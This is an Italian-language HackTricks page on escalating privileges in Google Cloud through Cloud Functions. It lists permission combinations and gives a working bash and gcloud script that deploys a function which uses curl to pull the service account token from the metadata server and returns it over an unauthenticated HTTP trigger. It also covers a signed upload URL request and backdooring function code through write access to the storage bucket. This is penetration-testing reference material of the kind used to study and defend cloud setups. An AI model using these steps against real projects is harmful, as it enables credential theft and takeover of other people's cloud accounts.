GCP - Cloudfunctions Privesc

Support HackTricks

cloudfunctions

Maggiore informazione su Cloud Functions:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Un attaccante con questi privilegi può creare una nuova Cloud Function con codice arbitrario (maligno) e assegnargli un Service Account. Poi, leakare il token del Service Account dai metadati per elevare i privilegi. Alcuni privilegi per attivare la funzione potrebbero essere richiesti.

Gli script di exploit per questo metodo possono essere trovati qui e qui e il file .zip precompilato può essere trovato qui.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Un attaccante con questi privilegi può modificare il codice di una Function e persino modificare il service account associato con l'obiettivo di esfiltrare il token.

Per distribuire le cloud functions avrai anche bisogno di permessi actAs sul service account di calcolo predefinito o sul service account utilizzato per costruire l'immagine.

Alcuni privilegi extra come il permesso .call per la versione 1 di cloudfunctions o il ruolo role/run.invoker per attivare la funzione potrebbero essere richiesti.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Se ricevi l'errore Permission 'run.services.setIamPolicy' denied on resource... è perché stai usando il parametro --allow-unauthenticated e non hai abbastanza permessi per farlo.

Lo script di exploit per questo metodo può essere trovato qui.

cloudfunctions.functions.sourceCodeSet

Con questo permesso puoi ottenere un URL firmato per poter caricare un file in un bucket di funzioni (ma il codice della funzione non verrà modificato, devi comunque aggiornarlo)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Non sono davvero sicuro di quanto sia utile solo questo permesso dal punto di vista di un attaccante, ma è buono da sapere.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Dati a te stesso uno dei precedenti privilegi .update o .create per l'escalation.

cloudfunctions.functions.update

Avere solo permessi cloudfunctions, senza iam.serviceAccounts.actAs, non ti permetterà di aggiornare la funzione QUINDI QUESTO NON È UN VALIDO PRIVESC.

Accesso in lettura e scrittura sul bucket

Se hai accesso in lettura e scrittura sul bucket, puoi monitorare le modifiche nel codice e ogni volta che si verifica un aggiornamento nel bucket, puoi aggiornare il nuovo codice con il tuo codice in modo che la nuova versione della Cloud Function venga eseguita con il codice backdoored inviato.

Puoi controllare di più sull'attacco in:

GCP - Storage Privesc

Tuttavia, non puoi usare questo per pre-compromettere le Cloud Functions di terze parti perché se crei il bucket nel tuo account e gli dai permessi pubblici in modo che il progetto esterno possa scriverci sopra, ottieni il seguente errore:

Tuttavia, questo potrebbe essere usato per attacchi DoS.

Accesso in lettura e scrittura su Artifact Registry

Quando viene creata una Cloud Function, una nuova immagine docker viene inviata all'Artifact Registry del progetto. Ho provato a modificare l'immagine con una nuova e persino a eliminare l'immagine corrente (e l'immagine cache), ma nulla è cambiato, la cloud function continua a funzionare. Pertanto, potrebbe essere possibile abusare di un attacco di Race Condition come con il bucket per cambiare il contenitore docker che verrà eseguito, ma modificare semplicemente l'immagine memorizzata non è possibile per compromettere la Cloud Function.

Riferimenti

Supporta HackTricks

Last updated